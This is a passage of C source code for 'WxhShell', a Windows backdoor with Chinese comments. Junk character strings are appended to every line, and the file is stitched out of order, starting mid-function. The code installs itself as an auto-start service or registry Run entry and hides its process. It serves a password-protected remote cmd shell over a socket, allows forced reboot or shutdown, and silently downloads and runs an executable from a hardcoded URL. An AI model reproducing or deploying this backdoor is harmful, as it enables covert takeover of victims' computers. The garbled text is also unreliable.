    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F u)7J4Z  
    if(Boot(SHUTDOWN)) ) Lv{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iFnM6O$(  
    else { hw1s^:|+2  
    closesocket(wsh); [a2/`ywdV  
    ExitThread(0); ?g2K&  
    } +=v|kd  
    break; A2 r RYzN;  
    } B _ >|Mo/  
  // 获取shell mJHX  
  case 's': { ]b)(=-;>  
    CmdShell(wsh); B Xp3u|t  
    closesocket(wsh); J2-xnUa]7  
    ExitThread(0); 8vCHH&`  
    break; :.^{!  
  } -\vq-n  
  // 退出 ?Z"}RMM)8  
  case 'x': { Q{l;8MCL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <=lP6B  
    CloseIt(wsh); !G37K8 &&*  
    break; gKnAw+u\  
    } _*_zyWW_j  
  // 离开 uxBk7E%6  
  case 'q': { HukHZ;5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GZo^0U,;  
    closesocket(wsh); 49yN|h;c!  
    WSACleanup(); Al?XJ C B@  
    exit(1); #frhO;6  
    break; Wp ]u0w  
        } UA^E^$f:  
  } 7G(X:!   
  } +!rK4[W'  
b /)UN*~  
  // 提示信息 [(1O_X(M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =0A{z#6  
} x:(e: I8x(  
  } ]pb3 Fm{  
K4KmoGb  
  return; "+Kr1nW  
} +oc}kv,h]  
Wr;)3K  
// shell模块句柄 gS!M7xy  
int CmdShell(SOCKET sock) DWDe5$^{  
{ Zn/1uWO  
STARTUPINFO si; Q{RHW@_/  
ZeroMemory(&si,sizeof(si)); W'[!4RQL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VYOO8MQI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y]k`}&-~  
PROCESS_INFORMATION ProcessInfo; '7$v@Tvnre  
char cmdline[]="cmd"; {.ph)8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PO #FtG  
  return 0; FU<rE&X2:  
} }k%>%xQ.  
}r N"H4)  
// 自身启动模式 _=rXaTp  
int StartFromService(void) d 1z   
{ Ofn:<d  
typedef struct aw~OvnX E  
{ Z@>>ZS1Do  
  DWORD ExitStatus; U6{ RHS[  
  DWORD PebBaseAddress; IBR;q[Dj}  
  DWORD AffinityMask; k,H4<")H  
  DWORD BasePriority; wvfCj6}S &  
  ULONG UniqueProcessId; N24+P5  
  ULONG InheritedFromUniqueProcessId; ]HRE-g  
}   PROCESS_BASIC_INFORMATION; 0GB6.Ggft  
$*tuv ?  
PROCNTQSIP NtQueryInformationProcess; %j'lWwi  
#ws6z`mt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uzsR*x%s-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s;A]GJ  
q.*qZ\;K  
  HANDLE             hProcess; \]^|IViIQ  
  PROCESS_BASIC_INFORMATION pbi; ,y^By_1wS  
,5q^/h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t ;[Me0  
  if(NULL == hInst ) return 0; tZ(Wh  
/(Y\ <  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Bk8U\Ut  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *H;&hq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SN11J+  
g?`w)O 7v  
  if (!NtQueryInformationProcess) return 0; !0cfz5t  
Kl^Yq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s4w<X}O_  
  if(!hProcess) return 0; Q_ $AGF  
hcej?W8j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0DN:{dJz  
 3o/f#y  
  CloseHandle(hProcess); uH`ds+Hp  
aPWFb.JO4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [QeKT8  
if(hProcess==NULL) return 0; "5{\0CfS  
4((Z8@iX/  
HMODULE hMod; 9~N7hLT  
char procName[255]; %e _WO,R  
unsigned long cbNeeded; U9Y'eP.2  
u+{5c5_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r,F'Jd5  
(33[N  
  CloseHandle(hProcess); u{J:wb  
) m?oQ#`m  
if(strstr(procName,"services")) return 1; // 以服务启动 =uD2j9!"7  
$WdZAv\_S  
  return 0; // 注册表启动 lVMAab  
} A=BpB}b  
X]`\NNx  
// 主模块 3n X7$$X  
int StartWxhshell(LPSTR lpCmdLine) j+s8V-7(  
{ dNIY `u  
  SOCKET wsl; fE7Kv_N-%  
BOOL val=TRUE; 7 0KZXgBy_  
  int port=0; rsrv1A=t?  
  struct sockaddr_in door; O#9Q+BD  
h4sEH  
  if(wscfg.ws_autoins) Install();  xU)~)eK  
qbB.Z#w  
port=atoi(lpCmdLine); >GqIpfn  
GJ!usv u  
if(port<=0) port=wscfg.ws_port; x< imMJ  
{ Ke3  
  WSADATA data; i^j{l_-JE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8amtTM  
594$X@ !v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #~(@Ka.eA0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IDv@r\Xw  
  door.sin_family = AF_INET; ci ,o'`Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W.>yIA%  
  door.sin_port = htons(port); N+h|Ffnp  
W C}mt%H*O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n_iq85  
closesocket(wsl); vVE^Y  
return 1; ;0 @"1`  
} Jg^tr>I~  
SxMh '  
  if(listen(wsl,2) == INVALID_SOCKET) { 3&_(D)+  
closesocket(wsl); T- JJc#  
return 1; OG0ro(|dI  
} :s*&_y  
  Wxhshell(wsl); 'v4AM@%u  
  WSACleanup(); 60-LpGhvy  
T< P4+#JK  
return 0; _)lK.5  
,v(G2`Z  
} owQLAV  
#~nI^ ggW  
// 以NT服务方式启动 vrh}X[JEw'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0p! [&O  
{ =yk#z84<  
DWORD   status = 0; tWD*uA b  
  DWORD   specificError = 0xfffffff; V.;0F%zks5  
`Q}.9s_ri  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k?1cxY s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }i?P( Au  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; POx~m  
  serviceStatus.dwWin32ExitCode     = 0; :N(L7&<  
  serviceStatus.dwServiceSpecificExitCode = 0; 61CNEzQ  
  serviceStatus.dwCheckPoint       = 0; %J3#4gG^v  
  serviceStatus.dwWaitHint       = 0; B7va#'ne4{  
 ,8@@r7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <#sB ;  
  if (hServiceStatusHandle==0) return; ePB=aCZ  
w Xfy,W  
status = GetLastError(); ">NBPanJ  
  if (status!=NO_ERROR) 'Zk&AD ~  
{ l0Y(9(M@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; foaNB=,  
    serviceStatus.dwCheckPoint       = 0; (iH5F9WO  
    serviceStatus.dwWaitHint       = 0; ^h=;]vxO  
    serviceStatus.dwWin32ExitCode     = status;  6 5qH  
    serviceStatus.dwServiceSpecificExitCode = specificError; v='7.A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eRC@b^~  
    return; Z3"f7l6  
  } I x-FJF-  
{U7j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X2Y-TE T  
  serviceStatus.dwCheckPoint       = 0;  XW`&1qx  
  serviceStatus.dwWaitHint       = 0; ^i#F+Q`1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QfRt3\^`  
} \Ui8Sgeei  
v:<u0B-)$  
// 处理NT服务事件,比如:启动、停止 j =[Td   
VOID WINAPI NTServiceHandler(DWORD fdwControl) r's4-\  
{ 7RTp+FC]  
switch(fdwControl) dAohj QH:  
{ d(42ob.Tr  
case SERVICE_CONTROL_STOP: O" n/.`  
  serviceStatus.dwWin32ExitCode = 0; P#"vlNa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %F1 Ce/  
  serviceStatus.dwCheckPoint   = 0; 7teg*M{  
  serviceStatus.dwWaitHint     = 0; 2A {k>TjQ  
  { Z6 (;~"Em  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (T!Q  
  } e>y"V; Mj  
  return; =@&]PYv  
case SERVICE_CONTROL_PAUSE: ,]1K^UeZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !dStl:B  
  break; 3x.|g   
case SERVICE_CONTROL_CONTINUE: V1;n5YL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \*1pFX#  
  break; EivZI<<a  
case SERVICE_CONTROL_INTERROGATE: jja9:$#  
  break; =)(sN"%  
}; L0_R2E A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u%3Z +[  
} \<a(@#E*~  
qtD3<iWV  
// 标准应用程序主函数 67')nEQ9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sR ~1J4  
{ =A GsW  
K%$%9y  
// 获取操作系统版本 xsV(xk4  
OsIsNt=GetOsVer(); $yHlkd`Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ga"$_DyM  
'72ZLdi}-  
  // 从命令行安装 .pr-  ^  
  if(strpbrk(lpCmdLine,"iI")) Install(); dGTAZ(1W  
KKl8tI\u~  
  // 下载执行文件 0:Ak 4L6k  
if(wscfg.ws_downexe) { 9^3y\@ m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aZ@Ke$jD  
  WinExec(wscfg.ws_filenam,SW_HIDE); n<y!@p^X  
} ]7fqVOiOu  
J'.U+XU  
if(!OsIsNt) { hA/K>Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 sGc4^Z%l?  
HideProc(); n\ZDI+X  
StartWxhshell(lpCmdLine); 9=K=gfZ  
} @$4(!80-  
else ^t?P32GJ  
  if(StartFromService()) /t(dhz&xN  
  // 以服务方式启动  5!NK  
  StartServiceCtrlDispatcher(DispatchTable); y`!3Z} 7  
else f'TdYG  
  // 普通方式启动 .COY%fz  
  StartWxhshell(lpCmdLine); V2V^*9(wu@  
XW%!#S&;X  
return 0; q_ykB8Ensa  
} Y_xPr%%A  
q;InFV3rv  
=VH, i/@  
9Psy$  
=========================================== w*f.Fu(su  
$ GL$ iA  
CT6a  
NUX0=(k  
#xNLr   
ZS4lb=)G  
" bWW$_S pr  
+ 79?}|  
#include <stdio.h> k]] (I<2  
#include <string.h> uy9k^4Cqa  
#include <windows.h> Yvcd(2  
#include <winsock2.h> Ir_K8 3VM  
#include <winsvc.h> (B}+uI{  
#include <urlmon.h> r ~si:?6:  
#-+!t<\  
#pragma comment (lib, "Ws2_32.lib") %mAgE\y25  
#pragma comment (lib, "urlmon.lib") w<| ^i*  
fj[B,ua  
#define MAX_USER   100 // 最大客户端连接数 <9@I5 0;  
#define BUF_SOCK   200 // sock buffer 4Sfv  
#define KEY_BUFF   255 // 输入 buffer e@Q<hb0<eU  
NgaX&m`  
#define REBOOT     0   // 重启 H B_si  
#define SHUTDOWN   1   // 关机 f|cd_?|  
>c|u |^3zt  
#define DEF_PORT   5000 // 监听端口 %J!+f-:=  
f.!)O@HzH  
#define REG_LEN     16   // 注册表键长度 3tMs61 3  
#define SVC_LEN     80   // NT服务名长度 Vp  .($  
fq~ <^B  
// 从dll定义API ~B'K_#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mA|!IhM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .nJErC##  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j{C+`~O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?H#]+SpOcv  
4/e-E^  
// wxhshell配置信息 eva-?+n\q  
struct WSCFG { s+gZnne  
  int ws_port;         // 监听端口 4=9To|U*  
  char ws_passstr[REG_LEN]; // 口令 Ix93/FAn  
  int ws_autoins;       // 安装标记, 1=yes 0=no #DXC 6f  
  char ws_regname[REG_LEN]; // 注册表键名 )c b e 4  
  char ws_svcname[REG_LEN]; // 服务名 ]j(2FM)#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BSY2\AL p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yc/Nz(m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k-@CcrepF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j{?,nJdQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2$. ubA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (30{:o&^  
q g?q|W  
}; kL 6f^MoL  
oe}nrkmb  
// default Wxhshell configuration a)$"   
struct WSCFG wscfg={DEF_PORT, ?%J{1+hY  
    "xuhuanlingzhe", -ve{O-;  
    1, rhO ]4A  
    "Wxhshell", E)DdiB'Rh  
    "Wxhshell", >wS52ng  
            "WxhShell Service", ~+d?d6*c  
    "Wrsky Windows CmdShell Service", ( {ads_l  
    "Please Input Your Password: ", qba<$  
  1, T]l_B2.  
  "http://www.wrsky.com/wxhshell.exe", Z"<aS&GH  
  "Wxhshell.exe" kz\ D-b  
    }; j(F&*aH78  
Yv\.QrxPm  
// 消息定义模块 awQ f$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;Oh4W<hH}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <i``#" /  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3P-qLbJ  
char *msg_ws_ext="\n\rExit."; h7c8K)ntnf  
char *msg_ws_end="\n\rQuit."; :A%uXgK<k  
char *msg_ws_boot="\n\rReboot..."; TBHIcX  
char *msg_ws_poff="\n\rShutdown..."; eN fo8xUG  
char *msg_ws_down="\n\rSave to "; 7d*SZmD  
Ml1yk)3G  
char *msg_ws_err="\n\rErr!"; ER~m &JI  
char *msg_ws_ok="\n\rOK!"; uh*b[`e  
E}sj l  
char ExeFile[MAX_PATH]; {|c <8  
int nUser = 0; |v#N  
HANDLE handles[MAX_USER]; Adp:O"-H1o  
int OsIsNt; 3U9]&7^  
^B8%Re%  
SERVICE_STATUS       serviceStatus; $p30?\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^o}!=aMr  
]S<y,d-  
// 函数声明 O?/\hZ"&c  
int Install(void); i% 19|an  
int Uninstall(void); NTS tk{s,  
int DownloadFile(char *sURL, SOCKET wsh); +h_'hz&HlS  
int Boot(int flag); pV]m6! y&  
void HideProc(void); fEf ",{I  
int GetOsVer(void); n0q5|ES  
int Wxhshell(SOCKET wsl); r e.chQ6  
void TalkWithClient(void *cs); Nlemb:'eP3  
int CmdShell(SOCKET sock); rT9<_<  
int StartFromService(void); uUu]JDdz  
int StartWxhshell(LPSTR lpCmdLine); ?W-J2tgss{  
[0U!Y/?6lA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y Dg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gVjI1{WTK  
<yz)iCU?  
// 数据结构和表定义 - ?_aYJ  
SERVICE_TABLE_ENTRY DispatchTable[] = 3CK4a,]Dm  
{ H6X]D"Y,  
{wscfg.ws_svcname, NTServiceMain}, Ve#VGlI  
{NULL, NULL} Vui5ZK  
}; e@"1W  
6Ko[[?Lf[  
// 自我安装 6*9hAnH  
int Install(void) % \p:S)R  
{ ]CsF} wr'z  
  char svExeFile[MAX_PATH]; b3N>RPsHS  
  HKEY key; =Bo(*%  
  strcpy(svExeFile,ExeFile); 6C@,&2<yK  
g N76  
// 如果是win9x系统,修改注册表设为自启动 Jy?s'tc  
if(!OsIsNt) { K-(k6<h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,6:ya8vB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (yIl]ZN*  
  RegCloseKey(key); $o"S zy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V1 T?T9m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (1p[K-J)r  
  RegCloseKey(key); <;< _f U  
  return 0; :c3}J<Z  
    } ;Nf5,D.D  
  } [u\E*8  
} Q/&H3N  
else { gBfYm  
VcKufV'  
// 如果是NT以上系统,安装为系统服务 1CK}XLdr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qfx(+=|  
if (schSCManager!=0) rZ5vey  
{ o5?f]Uq5 ,  
  SC_HANDLE schService = CreateService {E`[ `Kf  
  ( ka? |_(  
  schSCManager, 7wS )'zR;  
  wscfg.ws_svcname, Qz/o-W;  
  wscfg.ws_svcdisp, -3`S;Dmn  
  SERVICE_ALL_ACCESS, 'lNy&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7.)e4  
  SERVICE_AUTO_START, !dQG 5v  
  SERVICE_ERROR_NORMAL, COPH)Bdq.  
  svExeFile, S^0Po%d  
  NULL, aC:Sy^Tf  
  NULL, 5q?2?j/h  
  NULL, D# |+PG7  
  NULL, ))f%3_H  
  NULL % B+W#Q`  
  ); Si#I^aF`%  
  if (schService!=0) KPO?eeT.WZ  
  { C5oslP/@  
  CloseServiceHandle(schService); sUA==k  
  CloseServiceHandle(schSCManager); 9a}rE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F|p&v7T  
  strcat(svExeFile,wscfg.ws_svcname); )N h67P3X"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ({JXv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e aLSq  
  RegCloseKey(key); &5>R>rnB  
  return 0; |>o]+V  
    } Tbv", b  
  } >PdYQDyVS  
  CloseServiceHandle(schSCManager); 8OE=7PK  
} X+zFRL%  
} tSX<^VER7  
% C~2k?  
return 1; ~ED8]*H|`  
} ;|_aACina  
0G`_dMN  
// 自我卸载 Y"~Tf{8  
int Uninstall(void) j9"uxw@  
{ 8|k r|l  
  HKEY key; kDJ $kv  
wGdnv}#  
if(!OsIsNt) { qW*JB4`?a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BoQLjS{kN  
  RegDeleteValue(key,wscfg.ws_regname); :xOne<@  
  RegCloseKey(key); wG;#L7%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1OB,UU"S$  
  RegDeleteValue(key,wscfg.ws_regname); OUCL tn\  
  RegCloseKey(key); 'p<lfT  
  return 0; YjaEKM8*  
  }  1@Abs  
} +vOlA#t%Z  
} w#]> Nf  
else { Hl`S\  
tPu0r],`o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sb"z=4  
if (schSCManager!=0) So>P)d$8+  
{ uY jE)"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _IzJxAcJ  
  if (schService!=0) y+b4s Ff  
  { *J[3f]PBmR  
  if(DeleteService(schService)!=0) { CqW:m*c  
  CloseServiceHandle(schService); ?d@3y<A,~  
  CloseServiceHandle(schSCManager); #ra"(/)  
  return 0; (gN[<QL  
  } *J^l r"%c  
  CloseServiceHandle(schService); o5=1  
  } ]7<}EG  
  CloseServiceHandle(schSCManager); e8T#ZWr*  
} o!:V=F  
} >YP6/w,e  
0>@D{_}s  
return 1; V1 y"  
} lAjP'(  
6mcxp+lm|  
// 从指定url下载文件 _}MO.&Y  
int DownloadFile(char *sURL, SOCKET wsh) n^F:p*)Q%  
{ I5EKS0MQ!  
  HRESULT hr; *sNZ.Y:.  
char seps[]= "/"; yB][ 3?lv  
char *token; [:M:6JJ  
char *file; U caLi&  
char myURL[MAX_PATH]; M"QT(u+  
char myFILE[MAX_PATH]; &!/E&e$_  
"rhU2jT=c  
strcpy(myURL,sURL); Wp2b*B=-  
  token=strtok(myURL,seps); ['9awgkr/  
  while(token!=NULL) Py^ _::  
  { ,/{(8hn  
    file=token; +?"N5%a%F  
  token=strtok(NULL,seps); .Up\ 0|b  
  } ^{z@=o<o  
VI83 3  
GetCurrentDirectory(MAX_PATH,myFILE); PL+r*M%ll  
strcat(myFILE, "\\"); mOiA}BGw  
strcat(myFILE, file); Rb!|2h)  
  send(wsh,myFILE,strlen(myFILE),0); 5]C}044  
send(wsh,"...",3,0); TNwBnMe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _H[LUl9  
  if(hr==S_OK) ,3 !D(&  
return 0; )6K Q"*  
else p)_v.D3i  
return 1; l#40VHa?S  
tG!ApL  
} Qs v3`c  
%N((p[\H  
// 系统电源模块 O>8|Lc  
int Boot(int flag) "ecG\}R=  
{ -nBb - y  
  HANDLE hToken; ZR|)+W;  
  TOKEN_PRIVILEGES tkp; D@jG+k-Lm  
2hZ>bg  
  if(OsIsNt) { KDx~^OO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  :{#%_^}k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \}CQo0v  
    tkp.PrivilegeCount = 1; |%wgux`z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lqD.epm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &x~&]  
if(flag==REBOOT) { eK<X7m^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2t9JiH  
  return 0; syuW>Z8s  
} 2'R ;z< _  
else { ?-'m#5i"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /-Saz29f^Q  
  return 0; FE}!I  
} (_:k s  
  } 9VqE:c /  
  else { N(*Xjy+PX  
if(flag==REBOOT) { N0Y$QWr_$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &b!L$@6  
  return 0; !m7`E  
} ].E89_|O  
else { n-HQk7=mQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T{9pNf-  
  return 0; @|e4.(9A  
} fY)Dx c&ue  
} <n8K"(sy}  
w$ zX.;s  
return 1; |r5e#3w  
} kNC.^8ryz[  
{VB n@^'s  
// win9x进程隐藏模块 , `4chD  
void HideProc(void) F0 yvV6;  
{ g43j-[j)  
,tt .oF|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5m.{ayE  
  if ( hKernel != NULL ) _G$SA-W(  
  { pN\YAc*@:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hLs<g!*O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x2q6y  
    FreeLibrary(hKernel); $0uh8RB  
  } "c0I2wq  
Uavr>-  
return; yH\3*#+  
} 'VgdQp$L$  
M @|n"(P  
// 获取操作系统版本 IJWUNKqo=  
int GetOsVer(void) uL\b*rI  
{ jkTh)Bm|'  
  OSVERSIONINFO winfo; P}YtT3. K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *u?QO4>  
  GetVersionEx(&winfo); y. xt7 F1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R?%J   
  return 1; h=:*cqp4  
  else h8nJt>h  
  return 0; dC&OjBQ  
} HDmjt+3&n  
'H19@b5rx  
// 客户端句柄模块 gD13(G98  
int Wxhshell(SOCKET wsl) uX.^zg]}%  
{ e8WuAI86  
  SOCKET wsh; b" Z$?5  
  struct sockaddr_in client; iy<|<*s2D  
  DWORD myID; nC:>1 kt  
aw%iO|M_  
  while(nUser<MAX_USER) UR3qzPm!0e  
{ _T96.~Q  
  int nSize=sizeof(client); E{Kc$,y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L|?$F*bs  
  if(wsh==INVALID_SOCKET) return 1; I_/E0qSJI  
Yk;-]qi7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ofx]  
if(handles[nUser]==0) kp6{QKDj&  
  closesocket(wsh); 3/aK#TjK  
else fbTq?4&Q  
  nUser++; )S:,q3gxJ  
  } eD(;W n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bv&#ay 7  
Rm&^[mv  
  return 0; Z[ NO`!<  
} ;S&PLgZ  
mp !S<m  
// 关闭 socket m1 tYDZ"i  
void CloseIt(SOCKET wsh) ab}Kt($  
{ 6`c5\G+  
closesocket(wsh); p\'0m0*   
nUser--; 6UAn# d9  
ExitThread(0); ;+Dq 3NE  
} |w{}h6 a  
2bs={p$}a  
// 客户端请求句柄 3j I rB%  
void TalkWithClient(void *cs) >3C4S  
{ Q.U wtH  
'3p7ee&  
  SOCKET wsh=(SOCKET)cs; Jw 4#u5$$Z  
  char pwd[SVC_LEN]; ^vj}  
  char cmd[KEY_BUFF]; 1*aO2dOq  
char chr[1]; a-cLy*W,~  
int i,j; Kl Kk?6 >  
8gHOs#\  
  while (nUser < MAX_USER) { 483/ZgzT`  
Nv~H797B  
if(wscfg.ws_passstr) { iL$~d@AEn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FI(iqSJ6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y6hb-: #1  
  //ZeroMemory(pwd,KEY_BUFF); qxQuXF>:#  
      i=0; <Jf[N=  
  while(i<SVC_LEN) { A2 r\=for  
eT'Z;ZO  
  // 设置超时 *=2sXH1j  
  fd_set FdRead; Uh w:XV@m  
  struct timeval TimeOut; <hV%OrBz-  
  FD_ZERO(&FdRead); 'vX:)ZDi  
  FD_SET(wsh,&FdRead); /q^\g4J  
  TimeOut.tv_sec=8; m8T< x>  
  TimeOut.tv_usec=0; n9%&HDl4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9n#lDL O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *QGyF`Go{  
HM]mOmL90N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V JJ6q  
  pwd=chr[0]; {f(RYj  
  if(chr[0]==0xd || chr[0]==0xa) { R<)^--n  
  pwd=0; 7'g{:dzS*3  
  break; :~{Nf-y0`1  
  } Q,m&XpZ  
  i++; J#*%r)  
    } <2V:tj)?P  
MQY}}a-oug  
  // 如果是非法用户,关闭 socket P3k@ptc-K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2.2G79 U,  
} u)4eu,MBT  
\-W|)H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q1'4xWu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r$cq2pkX  
Xl %ax!/  
while(1) { @2;/-,4O  
fP KFU  
  ZeroMemory(cmd,KEY_BUFF); bzWWW^kNL  
%B~@wcI)W  
      // 自动支持客户端 telnet标准   ~-tKMc).X  
  j=0; lDX\"Fq  
  while(j<KEY_BUFF) { _/5#A+ ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SjL&\),  
  cmd[j]=chr[0]; ?/1Eu47  
  if(chr[0]==0xa || chr[0]==0xd) { K(3_1*e  
  cmd[j]=0; >+FaPym  
  break; M(Tlkr  
  } 61~7 L^882  
  j++; >X_5o^s2s  
    } =#>F' A  
}{S+C[:_  
  // 下载文件 h0aK}`/a  
  if(strstr(cmd,"http://")) { p9-s'F|@i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rQsYt/  
  if(DownloadFile(cmd,wsh)) eUVhNg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 63fg l+  
  else UGP,/[XI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vACJE  
  } 4de:hE   
  else { GWa:C\YK  
?0x=ascP  
    switch(cmd[0]) { -d4|EtN  
